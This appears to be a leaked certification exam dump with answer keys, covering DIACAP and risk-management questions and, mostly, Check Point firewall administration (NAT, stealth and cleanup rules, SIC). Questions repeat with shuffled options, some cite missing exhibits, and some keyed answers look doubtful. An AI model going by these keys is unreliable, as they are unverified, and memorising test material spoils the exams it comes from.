transmits, or processes unclassified or classified information since December 1997. What phases are
identified by DIACAP?
Each correct answer represents a complete solution. Choose all that apply.
A. Validation
B. Re-Accreditation
C. Verification
D. System Definition
E. Identification
F. Accreditation
Correct Answer: ABCD
QUESTION 18
Which of the following is a subset discipline of Corporate Governance focused on information security systems and their performance and risk management?
A. Lanham Act
B. ISG
C. Clinger-Cohen Act
D. Computer Misuse Act
Correct Answer: B QUESTION 19
Ben is the project manager of the YHT Project for his company. Alice, one of his team members, is confused about when project risks will happen in the project. Which one of the following statements is the most accurate about when project risk happens?
A. Project risk can happen at any moment.
B. Project risk is uncertain, so no one can predict when the event will happen.
C. Project risk happens throughout the project execution.
D. Project riskis always in the future.
Correct Answer: D
QUESTION 20
You are the project manager of the NKJ Project for your company. The project’s success or failure will have a significant impact on your organization’s profitability for the coming year. Management has asked you to identify the risk events and communicate the event’s probability and impact as early as possible in the project. Management wants to avoid risk events and needs to analyze the cost-benefits of each risk event in this project. What term is assigned to the low-level of stakeholder tolerance in this project?
A. Risk avoidance
B. Mitigation-ready project management
C. Risk utility function
D. Risk-reward mentality
Correct Answer: C
QUESTION 21
Where can a project manager find risk-rating rules?
A. Risk probability and impact matrix
B. Organizational process assets
C. Enterprise environmental factors
D. Risk management plan
Correct Answer: B
QUESTION 22
There are five inputs to the quantitative risk analysis process. Which one of the following is NOT an input to the perform quantitative risk analysis process?
A. Risk register
B. Cost management plan
C. Risk management plan
D. Enterprise environmental factors
Correct Answer: D
QUESTION 23
Your project has several risks that may cause serious financial impact should they happen. You have studied the risk events and made some potential risk responses for the risk events but management wants you to do more. They’d like for you to create some type of a chart that identified the risk probability and impact with a financial amount for each risk event. What is the likely outcome of creating this type of chart?
A. Risk response plan
B. Quantitative analysis
C. Risk response
D. Contingency reserve
Correct Answer: D
QUESTION 24
Which of the following professionals is responsible for starting the Certification & Accreditation (C&A) process?
A. Authorizing Official
B. Chief Risk Officer (CRO)
C. Chief Information Officer (CIO)
D. Information system owner
Correct Answer: D
QUESTION 25
You are working as a project manager in your organization. You are nearing the final stages of project execution and looking towards the final risk monitoring and controlling activities. For your project archives, which one of the following is an output of risk monitoring and control?
A. Quantitative risk analysis
B. Qualitative risk analysis
C. Requested changes
D. Risk audits
Correct Answer: C
QUESTION 26
Which of the following DoD directives is referred to as the Defense Automation Resources Management Manual?
A. DoDD 8000.1
B. DoD 7950.1-M
C. DoD 5200.22-M
D. DoD 8910.1
E. DoD 5200.1-R
Correct Answer: B
QUESTION 27
The phase 3 of the Risk Management Framework (RMF) process is known as mitigation planning. Which of the following processes take place in phase 3? Each correct answer represents a complete solution. Choose all that apply.
A. Identify threats, vulnerabilities, and controls that will be evaluated.
B. Document and implement a mitigation plan.
C. Agree on a strategy to mitigate risks.
D. Evaluate mitigation progress and plan next assessment.
Correct Answer: BCD
QUESTION 28
Gary is the project manager of his organization. He is managing a project that is similar to a project his organization completed recently. Gary has decided that he will use the information from the past project to help him and the project team to identify the risks that may be present in the project. Management agrees that this checklist approach is ideal and will save time in the project. Which of the following statement is most accurate about the limitations of the checklist analysis approach for Gary?
A. The checklist analysis approach is fast but it is impossible to build and exhaustive checklist.
B. The checklist analysis approach only uses qualitative analysis.
C. The checklist analysis approach saves time, but can cost more.
D. The checklist is also known as top down risk assessment
Correct Answer: A
QUESTION 29
What are the subordinate tasks of the Initiate and Plan IA C&A phase of the DIACAP process? Each correct answer represents a complete solution. Choose all that apply.
A. Develop DIACAP strategy.
B. Assign IA controls.
C. Assemble DIACAP team.
D. Initiate IA implementation plan.
E. Register system with DoD Component IA Program.
F. Conduct validation activity.
Correct Answer: ABCDE
QUESTION 30
Information risk management (IRM) is the process of identifying and assessing risk, reducing it to an
acceptable level, and implementing the right mechanisms to maintain that level. What are the different
categories of risk?
Each correct answer represents a complete solution. Choose all that apply.
A. System interaction
B. Human interaction
C. Equipment malfunction
D. Inside and outside attacks
E. Social status
F. Physical damage
Correct Answer: BCDEF
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QUESTION 106
A Security Policy has several database versions. What configuration remains the same no matter which version is used?
A. Objects_5_0.C
B. fwauth.NDB
C. Rule Bases_5_0.fws
D. Internal Certificate Authority (ICA) certificate
Correct Answer: D QUESTION 107
You are working with multiple Security Gateways that enforce an extensive number of rules. To simplify security administration, which one of the following would you choose to do?
A. Create network objects that restrict all applicable rules to only certain networks.
B. Run separate SmartConsole instances to login and configure each Security Gateway directly.
C. Create a separate Security Policy package for each remote Security Gateway.
D. Eliminate all possible contradictory rules such as the Stealth or Cleanup rules.
Correct Answer: C QUESTION 108
Which rules are not applied on a first-match basis?
A. Client Authentication
B. Session Authentication
C. User Authentication
D. Cleanup
Correct Answer: C QUESTION 109
Installing a policy usually has no impact on currently existing connections. Which statement is TRUE?
A. All connections are reset, so a policy install is recommended during announced downtime only.
B. Users being authenticated by Client Authentication have to re-authenticate.
C. Site-to-Site VPNs need to re-authenticate, so Phase 1 is passed again after installing the Security Policy.
D. All FTP downloads are reset; users have to start their downloads again.
Correct Answer: B QUESTION 110
Several Security Policies can be used for different installation targets. The firewall protecting Human Resources’ servers should have a unique Policy Package. These rules may only be installed on this machine and not accidentally on the Internet firewall. How can this be configured?
A. A Rule Base is always installed on all possible targets. The rules to be installed on a firewall are
defined by the selection in the row Install On of the Rule Base.
B. When selecting the correct firewall in each line of the row Install On of the Rule Base, only this firewall is shown in the list of possible installation targets after selecting Policy > Install.
C. In the SmartDashboard policy, select the correct firewall to be the Specific Target of the rule.
D. A Rule Base can always be installed on any Check Point firewall object. It is necessary to select the appropriate target directly after selecting Policy > Install.
Correct Answer: C
QUESTION 111
A ___________ rule is used to prevent all traffic going to the R75 Security Gateway.
A. Cleanup
B. Stealth
C. Reject
D. IPS
Correct Answer: B
QUESTION 112
In a distributed management environment, the administrator has removed the default check from Accept Control Connections under the Policy > Global Properties > FireWall tab. In order for the Security Management Server to install a policy to the Firewall, an explicit rule must be created to allow the server to communicate to the Security Gateway on port __________.
A. 259
B. 256
C. 80
D. 900
Correct Answer: B
QUESTION 113
To check the Rule Base, some rules can be hidden so they do not distract the administrator from the unhidden rules. Assume that only rules accepting HTTP or SSH will be shown. How do you accomplish this?
A. This cannot be configured since two selections (Service, Action) are not possible.
B. Ask your reseller to get a ticket for Check Point SmartUse and deliver him the Security Management Server cpinfo file.
C. In SmartDashboard menu, select Search > Rule Base Queries. In the window that opens, create a new Query, give it a name (e.g. “HTTP_SSH”) and define a clause regarding the two services HTTP and SSH. When having applied this, define a second clause for the action Accept and combine them with the Boolean operator AND.
D. In SmartDashboard, right-click in the column field Service > Query Column. Then, put the services HTTP and SSH in the list. Do the same in the field Action and select Accept here.
Correct Answer: C
QUESTION 114
What CANNOT be configured for existing connections during a policy install?
A. Reset all connections
B. Re-match connections
C. Keep all connections
D. Keep data connections
Correct Answer: A QUESTION 115
What is the purpose of a Stealth Rule?
A. To permit implied rules.
B. To drop all traffic to the management server that is not explicitly permitted.
C. To prevent users from connecting directly to the gateway.
D. To permit management traffic.
Correct Answer: C QUESTION 116
Which of these Security Policy changes optimize Security Gateway performance?
A. Use Automatic NAT rules instead of Manual NAT rules whenever possible.
B. Using domain objects in rules when possible.
C. Using groups within groups in the manual NAT Rule Base.
D. Putting the least-used rule at the top of the Rule Base.
Correct Answer: A QUESTION 117
Your perimeter Security Gateway’s external IP is 200.200.200.3. Your network diagram shows:Required:
Allow only network 192.168.10.0 and 192.168.20.0 to go out to Internet, using 200.200.200.5.
The local network 192.168.1.0/24 needs to use 200.200.200.3 to go out to the Internet.
Assume you enable all the settings in the NAT page of Global Properties.
How do you achieve this requirement?
A. Create a network object 192.168.0.0/16. Enable Hide NAT on the NAT page. Enter
200.200.200.5 as the hiding IP address. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
B. Create network objects for 192.168.10.0/24 and 192.168.20.0/24. Enable Hide NAT on both network objects, using 200.200.200.5 as hiding IP address. Add an ARP entry for 200.200.200.3 for the MAC address of 200.200.200.5.
C. Create an Address Range object, starting from 192.168.10.1 to 192.168.20.254. Enable Hide NAT on the NAT page of the address range object. Enter Hiding IP address 200.200.200.5. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
D. Create two network objects: 192.168.10.0/24 and 192.168.20.0/24. Add the two network objects to a group object. Create a manual NAT rule like the following: Original source -groupobject; Destination – any; Service – any; Translated source – 200.200.200.5; Destination -original; Service – original.
Correct Answer: C
QUESTION 118
Because of pre-existing design constraints, you set up manual NAT rules for your HTTP server. However, your FTP server and SMTP server are both using automatic NAT rules. All traffic from your FTP and SMTP servers are passing through the Security Gateway without a problem, but traffic from the Web server is dropped on rule 0 because of anti-spoofing settings. What is causing this?
A. Allow bi-directional NAT is not checked in Global Properties.
B. Translate destination on client side is not checked in Global Properties under Manual NAT Rules.
C. Manual NAT rules are not configured correctly.
D. Routing is not configured correctly.
Correct Answer: B
QUESTION 119
You enable Hide NAT on the network object, 10.1.1.0 behind the Security Gateway’s external interface. You browse to from host, 10.1.1.10 successfully. You enable a log on the rule that allows 10.1.1.0 to exit the network. How many log entries do you see for that connection in SmartView Tracker?
A. Two, one for outbound, one for inbound
B. Only one, inbound
C. Only one, outbound
D. Two, both outbound, one for the real IP connection and one for the NAT IP connection
Correct Answer: C
QUESTION 120
Which of the following statements BEST describes Check Point’s Hide Network Address Translation method?
A. Translates many source IP addresses into one source IP address
B. Many-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
C. Translates many destination IP addresses into one destination IP address
D. One-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
Correct Answer: A
QUESTION 121
Which Check Point address translation method allows an administrator to use fewer ISP-assigned IP addresses than the number of internal hosts requiring Internet connectivity?
A. Static Source
B. Static Destination
C. Dynamic Destination
D. Hide
Correct Answer: D
QUESTION 122
NAT can NOT be configured on which of the following objects?
A. Host
B. HTTP Logical Server
C. Address Range
D. Gateway
Correct Answer: B
QUESTION 123
Which Check Point address translation method is necessary if you want to connect from a host on the Internet via HTTP to a server with a reserved (RFC 1918) IP address on your DMZ?
A. Hide Address Translation
B. Static Destination Address Translation
C. Port Address Translation
D. Dynamic Source Address Translation
Correct Answer: B
QUESTION 124
You want to implement Static Destination NAT in order to provide external, Internet users access to an internal Web Server that has a reserved (RFC 1918) IP address. You have an unused valid IP address on the network between your Security Gateway and ISP router. You control the router that sits between the firewall external interface and the Internet. What is an alternative configuration if proxy ARP cannot be used on your Security Gateway?
A. Publish a proxy ARP entry on the ISP router instead of the firewall for the valid IP address.
B. Publish a proxy ARP entry on the internal Web server instead of the firewall for the valid IP address.
C. Place a static host route on the firewall for the valid IP address to the internal Web server.
D. Place a static ARP entry on the ISP router for the valid IP address to the firewall’s external address.
Correct Answer: D
QUESTION 125
After implementing Static Address Translation to allow Internet traffic to an internal Web Server on your DMZ, you notice that any NATed connections to that machine are being dropped by antispoofing protections. Which of the following is the MOST LIKELY cause?
A. The Global Properties setting Translate destination on client side is checked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Uncheck the Global Properties setting Translate destination on client side.
B. The Global Properties setting Translate destination on client side is unchecked. But the topology on the external interface is set to Others +. Change topology to External.
C. The Global Properties setting Translate destination on client side is checked. But the topology on the external interface is set to External. Change topology to Others +.
D. The Global Properties setting Translate destination on client side is unchecked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Check the Global Properties setting Translate destination on client side.
Correct Answer: D
QUESTION 126
Which NAT option applicable for Automatic NAT applies to Manual NAT as well?
A. Translate destination on client-side
B. Enable IP Pool NAT
C. Allow bi-directional NAT
D. Automatic ARP configuration
Correct Answer: A
QUESTION 127
Your main internal network 10.10.10.0/24 allows all traffic to the Internet using Hide NAT. You also have a small network 10.10.20.0/24 behind the internal router. You want to configure the kernel to translate the source address only when network 10.10.20.0 tries to access the Internet for HTTP, SMTP, and FTP services. Which of the following configurations will allow this network to access the Internet?
A. Configure Automatic Static NAT on network 10.10.20.0/24.
B. Configure Automatic Hide NAT on network 10.10.20.0/24 and then edit the Service column in the NAT Rule Base on the automatic rule.
C. Configure one Manual Hide NAT rule for HTTP, FTP, and SMTP services for network 10.10.20.0/24.
D. Configure three Manual Static NAT rules for network 10.10.20.0/24, one for each service.
Correct Answer: C
QUESTION 128
You have three servers located in a DMZ, using private IP addresses. You want internal users from 10.10.10.x to access the DMZ servers by public IP addresses. Internal_net 10.10.10.x is configured for Hide NAT behind the Security Gateway’s external interface.
What is the best configuration for 10.10.10.x users to access the DMZ servers, using the DMZ servers’ public IP addresses?
A. When connecting to the Internet, configure manual Static NAT rules to translate the DMZ servers.
B. When connecting to internal network 10.10.10.x, configure Hide NAT for the DMZ network behind the Security Gateway DMZ interface.
C. When the source is the internal network 10.10.10.x, configure manual static NAT rules to translate the DMZ servers.
D. When trying to access DMZ servers, configure Hide NAT for 10.10.10.x behind the DMZ’s
interface. Correct Answer: C QUESTION 129 An internal host initiates a session to and is set for Hide NAT behind the Security Gateway. The initiating traffic is an example of ____________.
A. None of these
B. source NAT
C. destination NAT
D. client side NAT
Correct Answer: B QUESTION 130
A host on the Internet initiates traffic to the Static NAT IP of your Web server behind the Security Gateway. With the default settings in place for NAT, the initiating packet will translate the _________.
A. source on client side
B. source on server side
C. destination on client side
D. destination on server side
Correct Answer: C QUESTION 131
A Web server behind the Security Gateway is set to Automatic Static NAT. Client side NAT is not checked in the Global Properties. A client on the Internet initiates a session to the Web Server. Assuming there is a rule allowing this traffic, what other configuration must be done to allow the traffic to reach the Web server?
A. A static route for the NAT IP must be added to the Gateway’s upstream router.
B. Automatic ARP must be unchecked in the Global Properties.
C. Nothing else must be configured.
D. A static route must be added on the Security Gateway to the internal host.
Correct Answer: D QUESTION 132
When translation occurs using automatic Hide NAT, what also happens?
A. The destination port is modified.
B. Nothing happens.
C. The destination is modified.
D. The source port is modified.
Correct Answer: D QUESTION 133
The fw monitor utility is used to troubleshoot which of the following problems?
A. Address translation
B. Log Consolidation Engine
C. User data base corruption
D. Phase two key negotiation
Correct Answer: A
QUESTION 134
Looking at the SYN packets in the Wireshark output, select the statement that is true about NAT.
A. This is an example of Hide NAT.
B. This is an example of Static NAT and Translate destination on client side unchecked in Global Properties.
C. There is not enough information provided in the Wireshark capture to determine the NAT settings.
D. This is an example of Static NAT and Translate destination on client side checked in Global Properties.
Correct Answer: D
QUESTION 135
In SmartDashboard, Translate destination on client side is checked in Global Properties. When Network Address Translation is used:
A. VLAN tagging cannot be defined for any hosts protected by the Gateway.
B. The Security Gateway’s ARP file must be modified.
C. It is not necessary to add a static route to the Gateway’s routing table.
D. It is necessary to add a static route to the Gateway’s routing table.
Correct Answer: C
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QUESTION 74
You want to generate a cpinfo file via CLI on a system running SecurePlatform. This will take about 40 minutes since the log files are also needed. What action do you need to take regarding timeout?
A. Log in as the default user expert and start cpinfo.
B. No action is needed because cpshell has a timeout of one hour by default.
C. Log in as Administrator, set the timeout to one hour with the command idle 60 and start cpinfo.
D. Log in as admin, switch to expert mode, set the timeout to one hour with the command, idle 60, then start cpinto.
Correct Answer: C
QUESTION 75
Many companies have defined more than one administrator. To increase security, only one administrator should be able to install a Rule Base on a specific Firewall. How do you configure this?
A. Define a permission profile in SmartDashboard with read/write privileges, but restrict it to all other firewalls by placing them in the Policy Targets field. Then, an administrator with this permission profile cannot install a policy on any Firewall not listed here.
B. In the General Properties of the object representing the specific Firewall, go to the Software Blades product list and select Firewall. Right-click in the menu, select Administrator to Install to define only this administrator.
C. Put the one administrator in an Administrator group and configure this group in the specific Firewall object in Advanced / Permission to Install.
D. Right-click on the object representing the specific administrator, and select that Firewall in Policy Targets.
Correct Answer: C
QUESTION 76
You are the Security Administrator for MegaCorp. A Check Point firewall is installed and in use on a SecurePlatform. You have trouble configuring the speed and duplex settings of your Ethernet interfaces. Which of the following commands can be used to configure the speed and duplex settings of an Ethernet interface and will survive a reboot? Give the BEST answer.
A. cthtool
B. ifconfig a
C. eth_set
D. mii_tool
Correct Answer: C
QUESTION 77
Which command enables IP forwarding on IPSO?
A. echo 1 > /proc/sys/net/ipv4/ip_forward
B. clish -c set routing active enable
C. echo 0 > /proc/sys/net/ipv4/ip_forward
D. ipsofwd on admin
Correct Answer: D QUESTION 78
Looking at an fw monitor capture in Wireshark, the initiating packet in Hide NAT translates on________.
A. I
B. O
C. o
D. i
Correct Answer: B QUESTION 79
You want to create an ASCII formatted output file of the fw monitor command. What is the correct syntax to accomplish this task?
A. fw monitor -e “accept;” > /tmp/monitor.txt
B. fw monitor -e “accept;” -f > /tmp/monitor.txt
C. fw monitor -m iO -e “accept;” -o /tmp/monitor.txt
D. fw monitor -e “accept;” -w /tmp/monitor.txt
Correct Answer: A QUESTION 80
The button Get Address, found on the Host Node Object > General Properties page, will retrieve what?
A. The domain name
B. The fully qualified domain name
C. The Mac address
D. The IP address
Correct Answer: D QUESTION 81
When you change an implicit rule’s order from last to first in global properties, how do you make the change take effect?
A. Select save from the file menu
B. Reinstall the security policy
C. Select install database from the policy menu
D. Run fw fetch from the security gateway
Correct Answer: B QUESTION 82
You create implicit and explicit rules for the following network. The group object internal-networks includes networks 10.10.10.0 and 10.10.20.0. Assume Accept ICMP requests is enabled as Before last in Global Properties.
Based on these rules, what happens if you Ping from host 10.10.10.5 to a host on the Internet by IP address? ICMP will be:
A. dropped by rule 0.
B. dropped by rule 2, the Cleanup Rule.
C. accepted by rule 1.
D. dropped by the last Implicit rule.
Correct Answer: C QUESTION 83
Anti-Spoofing is typically set up on which object type?
A. Host
B. Domain
C. Network
D. Security Gateway
Correct Answer: D QUESTION 84
Spoofing is a method of:
A. Hiding your firewall from unauthorized users.
B. Disguising an illegal IP address behind an authorized IP address through port address Translation.
C. Making packets appear as if they come from an authorized IP address
D. Detecting people using false or wrong authentication logins.
Correct Answer: C QUESTION 85
Which of the below is the MOST correct process to reset SIC from SmartDashboard?
A. Run cpconfig, and click Reset.
B. Click the Communication button for the firewall object, then click Reset. Run cpconfig and type a new activation key.
C. Click Communication > Reset on the Gateway object, and type a new activation key.
D. Run cpconfig, and select Secure Internal Communication > Change One Time Password.
Correct Answer: B QUESTION 86
“Pass Any Exam. Any Time.” – www.actualtests.com 49 Checkpoint 156-215.75 Exam You installed Security Management Server on a computer using SecurePlatform in the MegaCorp home office. You use IP address 10.1.1.1. You also installed the Security Gateway on a second SecurePlatform computer, which you plan to ship to another Administrator at a MegaCorp hub office. What is the correct order for pushing SIC certificates to the Gateway before shipping it?
1) Run cpconfig on the gateway, set secure internal communication, enter the activation key and reconfirm.
2) Initialize internal certificate authority (ICA) on the security Management server.
3) Confirm the gateway object with the host name and IP address for the remote site.
4) Click the communication button in the gateway object’s general screen, enter the activation key, and click initialize and ok.
5) Install the security policy.
A. 2, 3, 4, 5, 1
B. 1, 3, 2, 4, 5
C. 2, 3, 4, 1, 5
D. 2, 1, 3, 4, 5
Correct Answer: B
QUESTION 87
You want to reset SIC between smberlin and sgosaka.
In SmartDashboard, you choose sgosaka, Communication, Reset. On sgosaka, you start cpconfig, choose Secure Internal Communication and enter the new SIC Activation Key. The screen reads The SIC was successfully initialized and jumps back to the cpconfig menu. When trying to establish a connection, instead of a working connection, you receive this error message:
What is the reason for this behavior?
A. You must first initialize the Gateway object in SmartDashboard (i.e., right-click on the object, choose Basic Setup / Initialize).
B. The Gateway was not rebooted, which is necessary to change the SIC key.
C. The Check Point services on the Gateway were not restarted because you are still in the cpconfig utility.
D. The activation key contains letters that are on different keys on localized keyboards. Therefore, the activation can not be typed in a matching fashion.
Correct Answer: C
QUESTION 88
Which rule should be the Cleanup Rule in the Rule Base?
A. Last. It serves a logging function before the implicit drop.
B. Last, it explicitly drops otherwise accepted traffic
C. Before last followed by the Stealth Rule.
D. First, it explicitly accepts otherwise dropped traffic.
Correct Answer: A
QUESTION 89
What are the two basic rules which should be used by all Security Administrators?
A. Administrator Access and Stealth rules
B. Cleanup and Administrator Access rules
C. Network Traffic and Stealth rules
D. Cleanup and Stealth rules
Correct Answer: D
QUESTION 90
When you hide a rule in a Rule Base, how can you then disable the rule?
A. Use the search utility in SmartDashboard to view all hidden rules Select the relevant rule and click Disable Rule(s).
B. Right-click on the hidden rule place-holder bar and select Disable Rule(s).
C. Right-click on the hidden rule place-holder bar and uncheck Hide, then right-click and select Disable Rule(s); re-hide the rule.
D. Hidden rules are already effectively disabled from Security Gateway enforcement.
Correct Answer: C QUESTION 91
A Stealth rule is used to:
A. Use the Security Gateway to hide the border router from internal attacks.
B. Cloak the type of Web server in use behind the Security Gateway.
C. Prevent communication to the Security Gateway itself.
D. Prevent tracking of hosts behind the Security Gateway.
Correct Answer: C QUESTION 92
A Clean-up rule is used to:
A. Drop without logging connections that would otherwise be dropped and logged fry default
B. Log connections that would otherwise be accepted without logging by default.
C. Log connections that would otherwise be dropped without logging by default.
D. Drop without logging connections that would otherwise be accepted and logged by default
Correct Answer: C QUESTION 93
Which statement is TRUE about implicit rules?
A. They are derived from Global Properties and explicit object properties.
B. The Gateway enforces implicit rules that enable outgoing packets only.
C. You create them in SmartDashboard.
D. Changes to the Security Gateway’s default settings do not affect implicit rules.
Correct Answer: A QUESTION 94
You have included the Cleanup Rule in your Rule Base. Where in the Rule Base should the Accept ICMP Requests implied rule have no effect?
A. First
B. Before Last
C. Last
D. After Stealth Rule
Correct Answer: C QUESTION 95
In a distributed management environment, the administrator has removed all default check boxes from the Policy / Global Properties / Firewall tab. In order for the Security Gateway to send logs to the Security Management Server, an explicit rule must be created to allow the Security Gateway to communicate to the Security Management Server on port ______.
A. 259
B. 257
C. 900
D. 256
Correct Answer: B QUESTION 96
Examine the following Security Policy. What, if any, changes could be made to accommodate Rule 4?
A. Nothing at all
B. Modify the Source or Destination columns in Rule 4
C. Remove the service HTTPS from the Service column in Rule A
D. Modify the VPN column in Rule 2 to limit access to specific traffic
Correct Answer: D
QUESTION 97
A Security Policy has several database versions. What configuration remains the same no matter which version is used?
A. Rule Bases_5_0.fws
B. Internal Certificate Authority (ICA) certificate
C. Fwauth.NDB
D. Objects_5_0.C
Correct Answer: B
QUESTION 98
You are working with multiple Security Gateways that enforce a common set of rules. To minimize the number of policy packages, which one of the following would you choose to do?
A. Install a separate local Security Management Server and SmartConsole for each remote Security Gateway.
B. Create a separate Security Policy package for each remote Security Gateway and specify Install On / Gateways.
C. Create a single Security Policy package with Install On / Target defined whenever a unique rule is required for a specific Gateway.
D. Run separate SmartDashbord instance to login and configure each Security Gateway directly.
Correct Answer: C QUESTION 99
Which rules are not applied on a first-match basis?
A. Cleanup
B. User Authentication
C. Session Authentication
D. Client Authentication
Correct Answer: B QUESTION 100
Several Security Policies can be used for different installation targets. The firewall protecting Human Resources’ servers should have a unique Policy Package. These rules may only be installed on this machine and not accidentally on the Internet firewall. How can this be configured?
A. A Rule Base is always installed on all possible targets. The rules to be installed on a firewall are defined by the selection in the row Install On of the Rule Base.
B. When selecting the correct firewall in each line of the row Install On of the Rule Base, only this firewall is shown in the list of possible installation targets after selecting Policy > Install.
C. In the SmartDashboard main menu go to Policy / Policy Installation / Targets and select the correct firewall to be put into the list via Specific Targets.
D. A Rule Base can always be installed on any Check Point firewall object It is necessary to select the appropriate target directly after selecting Policy > Install.
Correct Answer: C QUESTION 101
Which of these security policy changes optimize Security Gateway performance?
A. Use Automatic NAT rules instead of Manual NAT rules whenever possible
B. Putting the least-used rule at the top of the Rule Base
C. Using groups within groups in the manual NAT Rule Base
D. Using domain objects in rules when possible
Correct Answer: A QUESTION 102
Your perimeter Security Gateway’s external IP is 200.200.200.3. Your network diagram shows: RequireD. Allow only network 192.168.10.0 and 192.168.20.0 to go out to the Internet, using 200.
200.200.5.
The local network 192.168.1.0/24 needs to use 200.200.200.3 to go out to the Internet.
Assuming you enable all the settings in the NAT page of Global Properties, how could you achieve these requirements?
A. Create a network object 192.168.0.0/16. Enable Hide NAT on the NAT page. Enter 200.200.200.5 as the hiding IP address. Add and ARP entry for 200.200.200.5 for the MAC “Pass Any Exam. Any Time.”
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Checkpoint 156-215.75 Exam
address of 200.200.200.3.
B. Create network objects for 192.168.10.0/24 and 192.168.20.0/24. Enable Hide NAT on both network objects, using 200.200.200.5 as hiding IP address Add an ARP entry for 200.200.200.3 for the MAC address of 200.200.200.5.
C. Create an Address Range object, starting from 192.168.10.1 to 192.168.20.254. Enable Hide NAT on the NAT page of the address range object. Enter Hiding IP address 200.200.200.5. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
D. Create two network objects: 192.168.10.0/24. and 192.168.20.0/24. Add the two network objects. Create a manual NAT rule like the following Original source group object; Destination any Service -any, Translated source 200.200.200.5; Destination original, Service original.
Correct Answer: C
QUESTION 103
You enable Hide NAT on the network object, 10.1.1.0 behind the Security Gateway’s external interface. You browse to from host, 10.1.1.10 successfully. You enable a log on the rule that allows 10.1.1.0 to exit the network. How many log entries do you see for that connection in SmartView Tracker?
A. Only one, outbound
B. Two, one for outbound, one for inbound
C. Only one, inbound
D. Two, both outbound, one for the real IP connection and one for the NAT IP connection
Correct Answer: A QUESTION 104
Which of the following statements BEST describes Check Point’s Hide Network Address Translation method?
A. Many-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
B. Translates many destination IP addresses into one destination IP address
C. Translates many source IP addresses into one source IP address
D. One-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
Correct Answer: C
QUESTION 105
Which Check Point address translation method allows an administrator to use fewer ISP-assigned IP addresses than the number of internal hosts requiring Internet connectivity?
A. Static Destination
B. Hide
C. Dynamic Destination
D. Static Source
Correct Answer: B
QUESTION 106
NAT can be implemented on which of the following lists of objects?
A. Host, Network
B. Host, User
C. Domain, Network
D. Network, Dynamic Object
Correct Answer: A
QUESTION 107
You want to implement Static Destination NAT in order to provide external, Internet users access to an internal Web Server that has a reserved (RFC 1918) IP address. You have an unused valid IP address on the network between your Security Gateway and ISP router. You control the router that sits between the external interface of the firewall and the Internet. What is an alternative configuration if proxy ARP cannot be used on your Security Gateway?
A. Place a static host route on the firewall for the valid IP address to the internal Web server.
B. Place a static ARP entry on the ISP router for the valid IP address to the firewall’s external address.
C. Publish a proxy ARP entry on the ISP router instead of the firewall for the valid IP address.
D. Publish a proxy ARP entry on the internal Web server instead of the firewall for the valid IP address.
Correct Answer: B
QUESTION 108
After implementing Static Address Translation to allow Internet traffic to an internal Web Server on your DMZ, you notice that any NATed connections to that machine are being dropped by anti- spoofing protections. Which of the following is the MOST LIKELY cause?
A. The Global Properties setting Translate destination on client side is checked. But the topology on the external interface is set to External.Change topology to Others +.
B. The Global Properties setting Translate destination on client side is unchecked. But the topology on the external interface is set to Others +. Change topology to External
C. The Global Properties setting Translate destination on client side is checked But the topology on the DMZ interface is set to Internal -Network defined by IP and Mask Uncheck the Global Properties setting Translate destination on client side
D. The Global Properties setting Translate destination on client side is unchecked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Check the Global Properties setting Translate destination on client side.
Correct Answer: D
QUESTION 109
Which NAT option applicable for Automatic NAT applies to Manual NAT as well?
A. Allow bi-directional NAT
B. Automatic ARP configuration
C. Enable IP Pool NAT
D. Translate destination on client-side
Correct Answer: D
QUESTION 110
Your main internal network 10.10.10.0/24 allows all traffic to the Internet using Hide NAT. You also have a small network 10.10.20.0/24 behind the internal router. You want to configure the kernel to translate the source address only when network 10.10.20.0 tries to access the Internet for HTTP, SMTP, and FTP services. Which of the following configurations will allow this network to access the Internet?
A. Configure three Manual Static NAT rules for network 10.10.20.0/24, one for each service
B. Configure one Manual Hide NAT rule for HTTP, FTP, and SMTP services for network 10.10.20.0/24
C. Configure Automatic Hide NAT on network 10.10.20.0/24 and then edit the Service column in the NAT Rule Base on the automatic rule
D. Configure Automatic Static NAT on network 10.10.20.0/24
Correct Answer: B
QUESTION 111
You have three servers located in a DMZ, using private IP addresses. You want internal users from
10.10.10.x
to access the DMZ servers by public IP addresses. Internal_net 10.10.10.x is configured for Hide NAT behind the Security Gateway’s external interface.
A.
When connecting to the Internet, configure manual Static NAT rules to translate the DMZ servers
B.
When the source is the internal network 10.10.10.x, configure manual static NAT rules to translate the DMZ servers.
C.
When connecting to internal network 10 10.10 x. configure Hide NAT for the DMZ servers.
D.
When connecting to the internal network 10.10.10x, configure Hide Nat for the DMZ network behind the DMZ interface of the Security Gateway
What is the best configuration for 10.10.10.x users to access the DMZ servers, using the DMZ servers’ public IP addresses?
Correct Answer: B
QUESTION 112
A host on the Internet initiates traffic to the Static NAT IP of your Web server behind the Security Gateway. With the default settings in place for NAT, the initiating packet will translate the_________.
A. source on client side
B. destination on server side
C. destination on client side
D. source on server side
Correct Answer: C
QUESTION 113
A Web server behind the Security Gateway is set to Automatic Static NAT. Client side NAT is not checked in the Global Properties. A client on the Internet initiates a session to the Web Server. Assuming there is a rule allowing this traffic, what other configuration must be done to allow the traffic to reach the Web server?
A. Automatic ARP must be unchecked in the Global Properties.
B. A static route must be added on the Security Gateway to the internal host.
C. Nothing else must be configured.
D. A static route for the NAT IP must be added to the Gateway’s upstream router.
Correct Answer: B
QUESTION 114
When translation occurs using automatic Hide NAT, what also happens?
A. Nothing happens.
B. The source port is modified.
C. The destination port is modified.
D. The destination is modified.
Correct Answer: B
QUESTION 115
The fw monitor utility is used to troubleshoot which of the following problems?
A. Phase two key negotiation
B. User data base corruption
C. Address translation
D. Log Consolidation Engine
Correct Answer: C
QUESTION 116
Looking at the SYN packets in the Wireshark output, select the statement that is true about NAT.
A. There is not enough information provided in the Wireshark capture to determine NAT settings.
B. This is an example hide NAT.
C. There is an example of Static NAT and translate destination on client side unchecked in Global Properties.
D. This is an example of Static NAT and Translate destination on client side checked in Global Properties.
Correct Answer: D
QUESTION 117
